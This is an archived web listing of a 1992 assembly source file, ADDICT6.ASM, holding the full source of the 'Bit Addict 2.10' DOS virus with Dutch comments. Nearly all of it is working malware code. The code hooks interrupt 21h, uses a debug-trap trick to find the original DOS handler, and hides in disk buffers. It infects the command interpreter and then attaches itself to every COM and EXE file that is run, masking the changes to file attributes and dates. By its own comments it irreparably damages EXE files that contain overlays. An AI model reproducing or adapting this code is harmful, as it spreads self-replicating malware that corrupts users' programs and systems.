home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / ADDICT6.ASM < prev    next >
Assembly Source File  |  1992-03-17  |  12KB  |  612 lines

  1. ; BIT ADDICT Versie 2.10
  2.  
  3. ;-----------------------------------------------------------------------------
  4. ;-----                                                                   -----
  5. ;-----              Macros en andere hulpmiddellen                       -----
  6. ;-----                                                                   -----
  7. ;-----------------------------------------------------------------------------
  8.  
  9. ; de macro's hieronder worden gebruikt wanneer een conditionele sprong groter
  10. ; wordt dan 128 bytes en er dus een foutmelding komt
  11.  
  12. jmpc    macro    Dest            ; vervanging voor jc
  13.     local    @@00
  14.  
  15.     jnc    @@00
  16.     jmp    Dest
  17. @@00:
  18.     endm
  19.  
  20. jmpnc    macro    Dest            ; vervanging voor jnc
  21.     local    @@00
  22.  
  23.     jc    @@00
  24.     jmp    Dest
  25. @@00:
  26.     endm
  27.  
  28. jmpe    macro    Dest            ; vervanging voor je
  29.     local    @@00
  30.  
  31.     jnz    @@00
  32.     jmp    Dest
  33. @@00:
  34.     endm
  35.  
  36. jmpne    macro    Dest            ; vervanging voor jne
  37.     local    @@00
  38.  
  39.     jz    @@00
  40.     jmp    Dest
  41. @@00:
  42.     endm
  43.  
  44. eseg segment
  45.     mov    ax,4c00h        ; exit
  46.     int    21h
  47. eseg ends
  48.  
  49. ;-----------------------------------------------------------------------------
  50. ;-----                                                                   -----
  51. ;-----              Begin van het Bit Addict virus                       -----
  52. ;-----                                                                   -----
  53. ;-----------------------------------------------------------------------------
  54.  
  55. cseg segment
  56.     assume    cs:cseg,ds:cseg,es:cseg
  57.     org    0
  58.  
  59. BeginCode    equ    $
  60. SavedCode    equ    this byte        ; gegevens over het
  61. OldSignature    dw    5a4dh            ; programma voor het virus
  62. OldCSIP        equ    this dword
  63. OldIP        dw    0
  64. OldCS        dw    0
  65. OldSP        dw    200h
  66. OldSS        dw    0
  67.         dw    3 dup(0)
  68.  
  69. Comspec        db    'COMSPEC='        ; comspec environment variabele
  70.                         ; om de command.com te vinden
  71. ID        db    'BIT ADDICT 2.10'    ; identificatie string
  72. ID_Length    equ    $-offset ID
  73.  
  74. Begin:    push    ax                ; Programma om het virus
  75.     push    bx                ; in het geheugen te zetten
  76.     push    cx
  77.     push    dx
  78.     push    si
  79.     push    di
  80.     push    ds
  81.     push    es
  82.     call    Init
  83.     jnc    @@11
  84.     call    DebugOn
  85.     mov    ah,52h                ; lees het adres van de eerste
  86.     call    DOS                ; disk-buffer
  87.     push    bx
  88.     mov    ah,30h
  89.     call    DOS
  90.     pop    di
  91.     call    DebugOff
  92.     cmp    al,2                ; dit werkt niet op dos 1.x
  93.     jb    @@11
  94.     cmp    al,3                ; voor dos 2.x op di+13h en
  95.     adc    di,12h                ; voor dos 3+  op di+12h
  96.     lds    si,es:[di]
  97.     or    si,si
  98.     jne    @@11
  99.     push    di
  100.     movsw                    ; reserveer 1e buffer
  101.     movsw
  102.     pop    di
  103.     mov    cx,ds
  104.     mov    dx,ds
  105.     call    GetBuffer            ; reserveer 2e buffer 
  106.     jc    @@10
  107.     call    GetBuffer            ; reserveer 3e buffer 
  108.     jc    @@10
  109.     call    CopyBitAddict            ; Copieer bit addict naar
  110.     pop    es                ; de buffers
  111.     push    es                ; Infecteer bestand in de
  112.     call    InfectComspec            ; comspec
  113.     jmp    @@11
  114. @@10:    call    RestoreBuffers
  115. @@11:    pop    es                ; ga nu verder met het
  116.     pop    ds                ; programma voor Bit Addict
  117.     pop    di
  118.     pop    si
  119.     pop    dx
  120.     pop    cx
  121.     pop    bx
  122.     pop    ax
  123.     cli
  124.     mov    ss,cs:OldSS
  125.     mov    sp,cs:OldSP
  126.     sti
  127.     jmp    cs:OldCSIP
  128.  
  129. GetBuffer:                ; reserveer een buffer
  130.     push    di            ; cx = eerste buffer
  131.     push    es            ; dx = laatste buffer
  132.     jmp    @@21
  133. @@20:    push    ds
  134.     pop    es
  135.     mov    di,si
  136. @@21:    lds    si,es:[di]
  137.     or    si,si
  138.     jne    @@23
  139.     mov    ax,ds
  140.     sub    ax,dx
  141.     cmp    ax,21h
  142.     jne    @@22
  143.     mov    dx,ds
  144.     movsw
  145.     movsw
  146.     clc
  147.     jmp    @@24
  148. @@22:    mov    ax,ds
  149.     sub    ax,cx
  150.     neg    ax
  151.     cmp    ax,21h
  152.     jne    @@20
  153.     mov    cx,ds
  154.     movsw
  155.     movsw
  156.     clc
  157.     jmp    @@24
  158. @@23:    stc
  159. @@24:    pop    es
  160.     pop    di
  161.     ret
  162.  
  163. CopyBitAddict:
  164.     push    cs                ; copieer Bit Addict naar de
  165.     pop    ds                ; gereserveerde buffers
  166.     mov    es,cx
  167.     xor    si,si
  168.     xor    di,di
  169.     mov    cx,CodeSize2
  170.     cld
  171.     rep    movsb
  172.     xor    ax,ax                ; leid interrupt 21h om naar
  173.     mov    ds,ax                ; Bit Addict
  174.     mov    word ptr ds:[84h],offset NewInt21
  175.     mov    word ptr ds:[86h],es
  176.     ret
  177.  
  178. InfectComspec:
  179.     mov    es,es:[2ch]            ; lees environment segment
  180.     xor    di,di
  181.     push    cs                ; zoek naar de comspec
  182.     pop    ds                ; variabele
  183.     mov    si,offset Comspec
  184. @@30:    push    si
  185.     push    di
  186.     mov    cx,8
  187.     cld
  188.     repe    cmpsb
  189.     pop    di
  190.     pop    si
  191.     je    @@31
  192.     xor    al,al
  193.     mov    cx,-1
  194.     cld
  195.     repne    scasb
  196.     cmp    byte ptr es:[di],0
  197.     jne    @@30
  198.     jmp    @@32
  199. @@31:    push    es                ; infecteer de COMMAND.COM of
  200.     pop    ds                ; andere command interpreter
  201.     lea    dx,[di+8]
  202.     push    cs:OldIP
  203.     push    cs:OldCS
  204.     push    cs:OldSP
  205.     push    cs:OldSS
  206.     call    Infect
  207.     pop    cs:OldSS
  208.     pop    cs:OldSP
  209.     pop    cs:OldCS
  210.     pop    cs:OldIP
  211. @@32:    ret
  212.  
  213. RestoreBuffers:
  214.     mov    ax,cx
  215. @@40:    cmp    ax,dx
  216.     je    @@42
  217.     mov    ds,ax
  218.     add    ax,21h
  219.     mov    word ptr ds:[0],0
  220.     mov    word ptr ds:[2],ax
  221.     jmp    @@40
  222. @@42:    mov    ds,dx
  223.     mov    ax,es:[di]
  224.     mov    ds:[0],ax
  225.     mov    word ptr es:[di],0
  226.     mov    ax,es:[di+2]
  227.     mov    ds:[2],ax
  228.     mov    es:[di+2],cx
  229.     ret
  230.  
  231. DebugOn:push    ax
  232.     push    ds
  233.     xor    ax,ax
  234.     mov    ds,ax
  235.     cli
  236.     mov    ax,ds:[4h]
  237.     mov    word ptr cs:OldInt1[0],ax
  238.     mov    ax,ds:[6h]
  239.     mov    word ptr cs:OldInt1[2],ax
  240.     mov    word ptr ds:[4],offset NewInt1
  241.     mov    word ptr ds:[6],cs
  242.     mov    ax,ds:[84h]
  243.     mov    word ptr cs:OldInt21[0],ax
  244.     mov    ax,ds:[86h]
  245.     mov    word ptr cs:OldInt21[2],ax
  246.     mov    word ptr cs:DosInt21[0],0
  247.     mov    word ptr cs:DosInt21[2],0
  248.     sti
  249.     pop    ds
  250.     pop    ax
  251.     pushf
  252.     push    cs
  253.     call    SetTrap
  254.     ret
  255.  
  256. SetTrap:push    bp
  257.     mov    bp,sp
  258.     or    word ptr ss:[bp+6],100h
  259.     pop    bp
  260.     iret
  261.  
  262. DebugOff:
  263.     pushf
  264.     push    cs
  265.     call    ClearTrap
  266.     push    ax
  267.     push    ds
  268.     xor    ax,ax
  269.     mov    ds,ax
  270.     cli
  271.     mov    ax,word ptr cs:OldInt1[0]
  272.     mov    ds:[4],ax
  273.     mov    ax,word ptr cs:OldInt1[2]
  274.     mov    ds:[6],ax
  275.     sti
  276.     pop    ds
  277.     pop    ax
  278.     ret
  279.  
  280. ClearTrap:
  281.     push    bp
  282.     mov    bp,sp
  283.     and    word ptr ss:[bp+6],0feffh
  284.     pop    bp
  285.     iret
  286.  
  287. Init:    push    cs
  288.     pop    ds
  289.     cmp    OldSignature,5a4dh
  290.     je    @@50
  291.     mov    si,offset SavedCode        ; herstel begin van het
  292.     mov    di,100h                ; com-programma
  293.     mov    cx,10h
  294.     cld
  295.     rep    movsb
  296.     mov    OldSS,ss            ; bewaar de waarden van
  297.     mov    OldSP,sp            ; ss,sp,cs en ip
  298.     sub    OldSP,10h
  299.     mov    OldCS,es
  300.     mov    OldIP,100h
  301.     jmp    @@51
  302. @@50:    mov    ax,es                ; bereken de waarden van
  303.     add    ax,10h                ; ss,sp,cs en ip
  304.     add    OldCS,ax
  305.     add    OldSS,ax
  306. @@51:    mov    ax,4b40h            ; controleer of Bit Addict al
  307.     int    21h                ; in het geheugen aanwezig is
  308.     jc    @@52
  309.     mov    ds,ax
  310.     push    cs                ; vergelijk identificatie
  311.     pop    ds
  312.     mov    si,offset ID
  313.     mov    di,si
  314.     mov    cx,ID_Length
  315.     cld
  316.     repe    cmpsb
  317.     je    @@52
  318.     stc
  319. @@52:    ret
  320.  
  321. NewInt1:push    bp
  322.     mov    bp,sp
  323.     push    ax
  324.     mov    ax,word ptr cs:DosInt21[0]
  325.     or    ax,word ptr cs:DosInt21[2]
  326.     jnz    @@60
  327.     cmp    word ptr ss:[bp+4],300h
  328.     jae    @@61
  329.     mov    ax,ss:[bp+2]
  330.     mov    word ptr cs:DosInt21[0],ax
  331.     mov    ax,ss:[bp+4]
  332.     mov    word ptr cs:DosInt21[2],ax
  333. @@60:    and    word ptr ss:[bp+6],0feffh
  334. @@61:    pop    ax
  335.     pop    bp
  336.     iret
  337.  
  338. DOS:    push    ax
  339.     mov    ax,word ptr cs:DosInt21[0]
  340.     or    ax,word ptr cs:DosInt21[2]
  341.     pop    ax
  342.     jnz    @@62
  343.     pushf
  344.     call    cs:OldInt21
  345.     ret
  346. @@62:    pushf
  347.     call    cs:DosInt21
  348.     ret
  349.  
  350. NewInt21:                    ; Het nieuwe interrupt 21h
  351.     pushf
  352.     cmp    ax,4b40h
  353.     je    InstallCheck
  354.     cmp    ah,4bh
  355.     je    Exec
  356. EOI:    popf
  357.     jmp    cs:OldInt21
  358.  
  359. InstallCheck:                    ; Zo kan bit addict weten
  360.     mov    ax,cs                ; dat er al een andere copy
  361.     popf                    ; aanwezig is
  362.     clc
  363.     retf    2
  364.  
  365. ComHeader:                    ; dit stukje wordt voor een
  366.     mov    ax,cs                ; COM-file geplaatst
  367.     add    ax,0100h
  368. OldSize    equ    this word-2
  369.     push    ax
  370.     mov    ax,offset Begin
  371.     push    ax
  372.     retf
  373.  
  374. Exec:    call    Infect                ; functie 4bh, infecteer eerste
  375.     jmp    EOI                ; met Bit Addict
  376.  
  377. Infect:    push    ax                ; Infecteer een file
  378.     push    bx
  379.     push    cx
  380.     push    si
  381.     push    di
  382.     push    bp
  383.     push    es
  384.     mov    ax,4300h            ; lees attributen en bewaar
  385.     call    DOS                ; ze
  386.     jmpc    @@82
  387.     push    cx
  388.     push    dx
  389.     push    ds
  390.     test    cx,1
  391.     jz    @@71
  392.     mov    ax,4301h            ; set Read-Only attribuut
  393.     and    cx,0fffeh            ; op nul
  394.     call    DOS
  395.     jmpc    @@81
  396. @@71:    mov    ax,3d02h            ; open de file
  397.     call    DOS
  398.     jmpc    @@81
  399.     mov    bx,ax
  400.     mov    ax,5700h            ; lees de datum en tijd en
  401.     call    DOS                ; bewaar ze
  402.     jmpc    @@80
  403.     push    cx
  404.     push    dx
  405.     push    cs                ; ds=es=cs
  406.     pop    ds
  407.     push    cs
  408.     pop    es
  409.     mov    ah,3fh                ; lees de header van de file
  410.     mov    cx,HeaderLength
  411.     lea    dx,Header
  412.     call    DOS
  413.     jmpc    @@79
  414.     cmp    ax,HeaderLength
  415.     jne    @@74
  416.     cmp    Signature,5a4dh
  417.     jne    @@72
  418.     mov    ax,ExeCS            ; zoek de plaats waar de 
  419.     add    ax,HeaderSize            ; identificatie zou moeten
  420.     mov    dx,10h                ; staan voor exe-files
  421.     mul    dx
  422.     add    ax,offset ID
  423.     adc    dx,0
  424.     jmp    @@73
  425. @@72:    mov    ax,ComCS            ; doe hetzelfde maar dan voor
  426.     mov    dx,10h                ; een com-file
  427.     sub    ax,dx
  428.     mul    dx
  429.     add    ax,offset ID
  430.     adc    dx,0
  431. @@73:    mov    cx,dx
  432.     mov    dx,ax
  433.     mov    ax,4200h
  434.     call    DOS
  435.     mov    ah,3fh                ; lees de ID indien aanwezig
  436.     mov    cx,ID_Length
  437.     lea    dx,ID_Check
  438.     call    DOS
  439.     lea    si,ID_Check            ; controleer of ID aanwezig
  440.     lea    di,ID                ; is
  441.     mov    cx,ID_Length
  442.     cld
  443.     repe    cmpsb
  444.     jmpe    @@79                ; als ID aanwezig is, stop dan
  445.     cmp    Signature,5a4dh
  446.     je    @@76
  447. @@74:    mov    ax,4202h            ; infecteer com-files
  448.     xor    cx,cx                ; ga naar het einde van de file
  449.     xor    dx,dx
  450.     call    DOS
  451.     mov    cx,10h                ; aanpassen van de com-header
  452.     div    cx                ; aan deze com-file
  453.     or    dx,dx
  454.     je    @@75
  455.     push    ax
  456.     mov    ah,40h
  457.     mov    cx,10h
  458.     sub    cx,dx
  459.     xor    dx,dx
  460.     call    DOS
  461.     pop    ax
  462.     jmpc    @@79
  463.     inc    ax
  464. @@75:    add    ax,10h
  465.     mov    OldSize,ax
  466.     mov    si,offset Header        ; bewaar het eerste deel van
  467.     mov    di,offset SavedCode        ; het programma
  468.     mov    cx,10h
  469.     cld
  470.     rep    movsb
  471.     mov    ah,40h                ; schrijf het virus achter het
  472.     mov    cx,CodeSize1            ; programma
  473.     xor    dx,dx
  474.     call    DOS
  475.     jmpc    @@79
  476.     mov    ax,4200h            ; ga naar het begin van de file
  477.     xor    cx,cx
  478.     xor    dx,dx
  479.     call    DOS
  480.     jmpc    @@79
  481.     mov    ah,40h                ; overschrijf het begin van het
  482.     mov    cx,10h                ; programma met de com-header
  483.     mov    dx,offset ComHeader
  484.     call    DOS
  485.     jmp    @@79
  486. @@76:    mov    OldSignature,5a4dh        ; infecteer exe-files
  487.     mov    ax,ExeIP            ; bewaar de oude waarden van
  488.     mov    OldIP,ax            ; cs:ip en ss:sp
  489.     mov    ax,ExeCS
  490.     mov    OldCS,ax
  491.     mov    ax,ExeSP
  492.     mov    OldSP,ax
  493.     mov    ax,ExeSS
  494.     mov    OldSS,ax
  495.     mov    ax,PageCount            ; pas de waarden van cs:ip en
  496.     dec    ax                ; ss:sp aan, en pas ook de 
  497.     mov    cx,200h                ; lengte van de file aan
  498.     mul    cx
  499.     add    ax,PartPage
  500.     adc    dx,0
  501.     mov    cx,dx
  502.     mov    dx,ax
  503.     mov    ax,4200h
  504.     call    DOS
  505.     mov    cx,10h
  506.     div    cx
  507.     or    dx,dx
  508.     je    @@77
  509.     push    ax
  510.     push    dx
  511.     mov    ah,40h
  512.     mov    cx,10h
  513.     sub    cx,dx
  514.     xor    dx,dx
  515.     call    DOS
  516.     pop    dx
  517.     pop    ax
  518.     jc    @@79
  519.     inc    ax
  520. @@77:    sub    ax,HeaderSize
  521.     mov    ExeCS,ax
  522.     mov    ExeIP,offset Begin
  523.     add    ax,CodeSizePara2
  524.     mov    ExeSS,ax
  525.     mov    ExeSP,200h
  526.     mov    ax,MinMem
  527.     cmp    ax,20h+CodeSizePara2-CodeSizePara1
  528.     jae    @@78
  529.     mov    ax,20h
  530. @@78:    mov    MinMem,ax
  531.     mov    ax,PartPage
  532.     add    ax,CodeSize1
  533.     add    ax,dx
  534.     mov    cx,200h
  535.     xor    dx,dx
  536.     div    cx
  537.     add    PageCount,ax
  538.     mov    PartPage,dx
  539.     mov    ah,40h                ; schrijf het virus achter
  540.     mov    cx,CodeSize1            ; de exe-file, indien de
  541.     xor    dx,dx                ; exe-file overlays bevat dan
  542.     call    DOS                ; worden ze overschreven en is
  543.     jc    @@79                ; de exe-file onherstelbaar
  544.     mov    ax,4200h            ; beschadigd
  545.     xor    cx,cx
  546.     xor    dx,dx                ; ga naar het begin van de file
  547.     call    DOS
  548.     jc    @@79
  549.     mov    ah,40h                ; schrijf de nieuwe exe-header
  550.     mov    cx,HeaderLength            ; over de oude heen.
  551.     mov    dx,offset Header
  552.     call    DOS
  553. @@79:    pop    dx                ; herstel de datum van de file
  554.     pop    cx
  555.     mov    ax,5701h
  556.     call    DOS
  557. @@80:    mov    ah,3eh                ; sluit de file
  558.     call    DOS
  559. @@81:    pop    ds                ; herstel de attributen van de
  560.     pop    dx                ; file
  561.     pop    cx
  562.     test    cx,1
  563.     jz    @@82
  564.     mov    ax,4301h
  565.     call    DOS
  566. @@82:    pop    es                ; herstel de waarden van de
  567.     pop    bp                ; registers en keer terug
  568.     pop    di                ; naar het oude interrupt 21
  569.     pop    si
  570.     pop    cx
  571.     pop    bx
  572.     pop    ax
  573.     ret
  574.  
  575. CodeSize1    equ    $-BeginCode
  576. CodeSizePara1    equ    ($-BeginCode+0fh) / 10h
  577.  
  578. Header        dw    14h dup(?)
  579. ComCS        equ    Header[ComHeader-OldSize]    ; Com file
  580.  
  581. Signature    equ    Header[0h]            ; Exe file
  582. PartPage    equ    Header[2h]
  583. PageCount    equ    Header[4h]
  584. ReloCount    equ    Header[6h]
  585. HeaderSize    equ    Header[8h]
  586. MinMem        equ    Header[0ah]
  587. MaxMem        equ    Header[0ch]
  588. ExeSS        equ    Header[0eh]
  589. ExeSP        equ    Header[10h]
  590. ChkSum        equ    Header[12h]
  591. ExeIP        equ    Header[14h]
  592. ExeCS        equ    Header[16h]
  593. TablOfs        equ    Header[18h]
  594. OverlayNr    equ    Header[1ah]
  595. HeaderLength    equ    1ch
  596.  
  597. ID_Check    db    ID_Length dup(?)
  598.  
  599. DosInt21    dd    ?
  600. OldInt21    dd    ?
  601. OldInt1        dd    ?
  602.  
  603. CodeSize2    equ    $-BeginCode
  604. CodeSizePara2    equ    ($-BeginCode+0fh) / 10h
  605.  
  606. cseg ends
  607.  
  608. sseg segment stack
  609.     db    200h dup(?)
  610. sseg ends
  611.  
  612. end Begin